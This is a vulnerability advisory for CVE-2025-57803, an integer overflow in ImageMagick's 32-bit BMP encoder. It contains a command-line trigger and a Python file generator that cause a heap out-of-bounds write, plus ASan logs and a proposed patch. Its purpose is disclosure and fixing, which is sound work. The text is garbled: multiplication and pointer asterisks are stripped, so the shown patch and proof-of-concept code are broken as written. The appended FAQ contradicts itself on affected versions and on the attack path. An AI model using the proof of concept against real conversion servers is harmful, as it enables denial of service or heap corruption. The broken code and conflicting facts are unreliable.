CVE-2025-57803: ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow
Summary
A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytesperline (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.
- Impact: Attacker-controlled heap out-of-bounds (OOB) write during conversion to BMP. - Surface: Typical upload → normalize/thumbnail → magick ... out.bmp workers. - 32-bit: Vulnerable (reproduced with ASan). - 64-bit: Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards. - Proposed severity: Critical 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
---
Scope & Affected Builds
- Project: ImageMagick (BMP writer path, WriteBMPImage in coders/bmp.c). - Commit under test: 3fcd081c0278427fc0e8ac40ef75c0a1537792f7 - Version string from the run: ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712 - Architecture: 32-bit i686 (sizeof(sizet) == 4) with ASan/UBSan. - Note on other versions: Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.
---
Root Cause (with code anchors)
Stride computation (writer)
c bytesperline = 4 ((image->columns bmpinfo.bitsperpixel + 31) / 32);
Per-row base and 24-bpp loop (writer)
c q = pixels + ((ssizet)image->rows - y - 1) (ssizet)bytesperline; for (x = 0; x < (ssizet)image->columns; x++) { q++ = B(...); q++ = G(...); q++ = R(...); // writes 3 width bytes }
Allocation (writer)
c pixelinfo = AcquireVirtualMemory(image->rows, MagickMax(bytesperline, image->columns + 256UL) sizeof(pixels)); pixels = (unsigned char ) GetVirtualMemoryBlob(pixelinfo);
Dimension “caps” (insufficient)
The writer rejects dimensions that don’t round-trip through signed int, but both overflow thresholds below are ≤ INTMAX on 32-bit, so the caps do not prevent the bug.
---
Integer-Overflow Analysis (32-bit sizet)
Stride formula for 24-bpp:
bytesperline = 4 ((width 24 + 31) / 32)
There are two independent overflow hazards on 32-bit:
1. Stage-1 multiply+add in (width 24 + 31) Overflow iff width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969 → at width ≥ 178,956,970 the numerator wraps small before /32, producing a tiny bytesperline. 2. Stage-2 final ×4 after the division Let q = (width 24 + 31) / 32. Final ×4 overflows iff q > 0x3FFFFFFF. Solving gives width ≥ 1,431,655,765 (0x55555555).
Both thresholds are below INTMAX (≈2.147e9), so “int caps” don’t help.
Mismatch predicate (guaranteed OOB when overflowed): Per-row write for 24-bpp is rowbytes = 3width. Safety requires rowbytes ≤ bytesperline. Under either overflow, bytesperline collapses → 3width > bytesperline holds → OOB-write.
---
Concrete Demonstration
Chosen width: W = 178,957,200 (just over Stage-1 bound)
- Stage-1: 24W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32) → 5535 - Divide by 32: 5535 / 32 = 172 - Multiply by 4: bytesperline = 172 4 = 688 bytes ← tiny stride - Per-row data (24-bpp): rowbytes = 3W = 536,871,600 bytes - Allocation used: MagickMax(688, W+256) = 178,957,456 bytes - Immediate OOB: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes. ---
Observed Result (ASan excerpt)
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 in WriteBMPImage coders/bmp.c:2309 ... allocated by: AcquireVirtualMemory MagickCore/memory.c:747 WriteBMPImage coders/bmp.c:2092
- Binary: ELF 32-bit i386, Q8, non-HDRI - Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)
---
Exploitability & Risk
- Primitive: Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot. - Control: Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP). - Likely deployment: Server-side, non-interactive conversion pipelines (UI:N). - Outcome: At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to RCE.
Note on 64-bit: Without integer overflow, bytesperline = 4 ceil((3width)/4) ≥ 3width, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.
---
Reproduction (copy-paste triager script)
Test Environment:
- docker run -it --rm --platform linux/386 debian:11 bash - Install deps: apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3 - Clone & checkout: ImageMagick 7.1.2-0 → commit 3fcd081c0278427f... - Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):
bash ./configure \ --host=i686-pc-linux-gnu \ --build=x8664-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined"
make -j"$(nproc)" - Runtime limits to exercise writer:
bash export MAGICKWIDTHLIMIT=200000000 export MAGICKHEIGHTLIMIT=200000000 export MAGICKTEMPORARYPATH=/tmp export TMPDIR=/tmp export ASANOPTIONS="detectleaks=0:malloccontextsize=20:allocdeallocmismatch=0"
One-liner trigger (no input file):
bash W=178957200 ./utilities/magick \ -limit width 200000000 -limit height 200000000 \ -limit memory 268435456 -limit map 0 -limit disk 200000000000 \ -limit thread 1 \ -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null
Expected: ASan heap-buffer-overflow in WriteBMPImage (will be provided in a private gist link).
Alternate PoC (raw PPM generator):
python #!/usr/bin/env python3 W, H, MAXV = 180000000, 1, 255 W > 178,956,969 with open("huge.ppm", "wb") as f: f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii")) chunk = (b"\x41\x42\x43") (10241024) remaining = 3 W while remaining: n = min(remaining, len(chunk)) f.write(chunk[:n]); remaining -= n Then: magick huge.ppm out.bmp
---
Proposed Severity
- Primary vector (server auto-convert): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critical - If strictly CLI/manual conversion: UI:R → 8.8 High
---
Maintainer Pushbacks — Pre-empted
- “MagickMax makes allocation large.” The row base advances by overflowed bytesperline, causing row overlap and eventual region exit regardless of total allocation size. - “We’re 64-bit only.” Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS. - “Resource policy blocks large images.” That’s environment-dependent defense-in-depth; arithmetic must be correct. ---
Remediation (Summary)
Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (rowbytes) always fits within the computed stride (bytesperline). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.
Concretely:
- Validate width and bitsperpixel before the stride formula to ensure (widthbpp + 31) cannot overflow a sizet. - Compute rowbytes for the chosen bpp and assert rowbytes <= bytesperline. - Bound rows stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.
A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).
---
Regression Tests to Include (PR-friendly)
1. 32-bit overflow repros (with ASan): - rows=1, width ≥ 178,956,970, bpp=24 → now cleanly errors. - rows=2, same bound → no row overlap; clean error. 2. 64-bit sanity: Medium images (e.g., 8192×4096, 24-bpp) round-trip; header’s biSizeImage = rows bytesperline. 3. Packed bpp (1/4/8): Validate rowbytes = (widthbpp+7)/8 (guarded), 4-pad, and payload ≤ stride holds.
---
Attachments (private BMPPackage) Provided with report: README.md, pocppmgenerator.py, reprocommands.sh, fullasanbmpcrash.txt, appendixapatchblock.c. (Private gist link with package provided separately.)
---
Disclosure & Coordination
- Reporter: Lumina Mescuwa - Tested on: i686 Linux container (details in Repro) - Timeline: August 19th, 2025
---
Appendices
Appendix A — Patch block tailored to bmp.c
Where this hooks in (current code):
- Stride is computed here: bytesperline=4((image->columnsbmpinfo.bitsperpixel+31)/32); - Header uses bmpinfo.imagesize=(unsigned int) (bytesperlineimage->rows); - Allocation uses AcquireVirtualMemory(image->rows, MagickMax(bytesperline, image->columns+256UL)sizeof(pixels)); - 24-bpp row loop writes pixels then zero-pads up to bytesperline (so the per-row slot size matters): for (x=3L(ssizet)image->columns; x < (ssizet)bytesperline; x++) q++=0x00;
---
Suggested Patch (minimal surface, guards + invariant)
I recommend this in place of the existing bytesperline assignment and the subsequent bmpinfo.imagesize / allocation block. Keep your macros and local variables as-is.
c / --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- /
/ 1) Guard the original stride arithmetic (preserve behavior, add checks). / if (bmpinfo.bitsperpixel == 0 || (sizet)image->columns > (SIZEMAX - 31) / (sizet)bmpinfo.bitsperpixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
sizet tmp = (sizet)image->columns (sizet)bmpinfo.bitsperpixel + 31; / Divide first; then check the final ×4 won't overflow. / tmp /= 32; if (tmp > (SIZEMAX / 4)) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
bytesperline = 4 tmp; / same formula as before, now checked /
/ 2) Compute the actual data bytes written per row for the chosen bpp. / sizet rowbytes; if (bmpinfo.bitsperpixel == 1 || bmpinfo.bitsperpixel == 4 || bmpinfo.bitsperpixel == 8) { / packed: ceil(widthbpp/8) / if ((sizet)image->columns > (SIZEMAX - 7) / (sizet)bmpinfo.bitsperpixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); rowbytes = (((sizet)image->columns (sizet)bmpinfo.bitsperpixel) + 7) >> 3; } else { / 16/24/32 bpp: (bpp/8) width / sizet bppbytes = (sizet)bmpinfo.bitsperpixel / 8; if (bppbytes == 0 || (sizet)image->columns > SIZEMAX / bppbytes) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); rowbytes = bppbytes (sizet)image->columns; }
/ 3) Per-row safety invariant: the payload must fit the stride. / if (rowbytes > bytesperline) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
/ 4) Guard header size and allocation products. / if ((sizet)image->rows == 0) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
/ biSizeImage = rows bytesperline (DIB field is 32-bit) / if (bytesperline > 0xFFFFFFFFu / (sizet)image->rows) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); bmpinfo.imagesize = (unsigned int)(bytesperline (sizet)image->rows);
/ Allocation count = rows strideused, with existing MagickMax policy. / sizet stride = MagickMax(bytesperline, (sizet)image->columns + 256UL); if (stride > SIZEMAX / (sizet)image->rows) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
pixelinfo = AcquireVirtualMemory((sizet)image->rows, stride sizeof(pixels)); if (pixelinfo == (MemoryInfo ) NULL) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); pixels = (unsigned char ) GetVirtualMemoryBlob(pixelinfo);
/ Optional: keep zeroing aligned to computed header size. / (void) memset(pixels, 0, (sizet) bmpinfo.imagesize);
/ --- PATCH END --- /
Why this is the right spot?
- It replaces the unguarded stride line you currently have, without changing the algorithm (still 4((Wbpp+31)/32)). - It fixes the header (biSizeImage) to be a checked product, instead of a potentially wrapped multiplication. - It guards allocation where you presently allocate rows × MagickMax(bytesperline, columns+256). - The invariant rowbytes ≤ bytesperline ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to bytesperline) can never exceed the per-row slot the code relies on.
---
Notes
- Behavior preserved: The stride value for normal images is unchanged; only pathological integer states are rejected. - Header consistency: biSizeImage = rows bytesperline remains true by construction, but now cannot overflow a 32-bit DIB field. - Defensive alignment: If you prefer, you can compute bytesperline as ((rowbytes + 3) & ~3U); it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.
A slightly larger “helpers” variant (with safemulsize / safeaddsize utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.
Appendix B — Arithmetic Worked Example (W=178,957,200)
- (24W + 31) mod 2^32 = 5535 - bytesperline = 4 (5535/32) = 688 - rowbytes (24-bpp) = 536,871,600 - Allocation via MagickMax = 178,957,456 → immediate row 0 out-of-bounds.
Appendix C — Raw ASan Log (trimmed)
================================================================= ==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 at 0x6eaac490 thread T0 #0 0xed2788 in WriteBMPImage coders/bmp.c:2309 #1 0x13da32c in WriteImage MagickCore/constitute.c:1342 #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564 0x6eaac490 is located 0 bytes to the right of 178957456-byte region allocated by thread T0 here: #0 0x408e30ab in interceptorposixmemalign #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747 #2 0xecd597 in WriteBMPImage coders/bmp.c:2092
Other sources
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-28 and 7.1.2-2 for ImageMagick's 32-bit build, a 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytesperline (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines. This issue has been patched in versions 6.9.13-28 and 7.1.2-2.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2025-57803?
CVE-2025-57803 is classified as a high severity vulnerability due to the integer overflow that can lead to potential buffer overflows.
How do I fix CVE-2025-57803?
To fix CVE-2025-57803, upgrade to Magick.NET version 14.8.1 or later.
Which software versions are affected by CVE-2025-57803?
CVE-2025-57803 affects Magick.NET versions up to 14.8.1 across multiple packages including Q8 and Q16 variants.
What issue does CVE-2025-57803 cause?
CVE-2025-57803 causes an integer overflow leading to incorrect memory access during BMP image encoding.
Is CVE-2025-57803 a local or remote vulnerability?
CVE-2025-57803 can be exploited remotely if an attacker can upload a malicious BMP file.